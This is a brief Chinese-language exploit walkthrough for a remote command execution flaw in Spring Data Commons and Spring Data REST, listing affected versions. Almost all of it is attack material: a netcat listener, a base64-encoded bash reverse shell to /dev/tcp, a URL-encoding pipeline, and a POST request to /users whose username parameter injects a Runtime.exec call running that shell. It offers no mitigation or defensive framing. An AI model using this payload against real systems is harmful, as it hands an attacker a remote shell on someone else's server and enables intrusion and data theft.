前言

Java的Spring Data Commons框架远程命令执行漏洞利用

漏洞利用前提

  • Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
  • Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
  • Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
  • Spring Data REST 3.0 - 3.0.5 (Kay SR5)

攻击者监听反弹Shell

1
nc -lvp <port>

将反弹Shell的命令进行Base64编码

1
echo -n "bash -i >& /dev/tcp/<ip>/<port> 0>&1" | base64

将Base64编码后的反弹Shell命令重新拼接并进行URL编码

1
echo 'bash -c {echo,<base>}|{base64,-d}|{bash,-i}' | tr -d '\n' | xxd -plain | sed 's/\(..\)/%\1/g'

exp

  • 在用户登录时,修改请求体数据
  • 在请求体中的数据需考虑空格问题,需要进行URL编码

<shell_urlencode>:上一步URL编码后的反弹Shell命令

request
1
2
3
4
POST http://example.com/users
Content-Type: application/x-www-form-urlencoded

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("<shell_urlencode>")]=&password=&repeatedPassword=

完成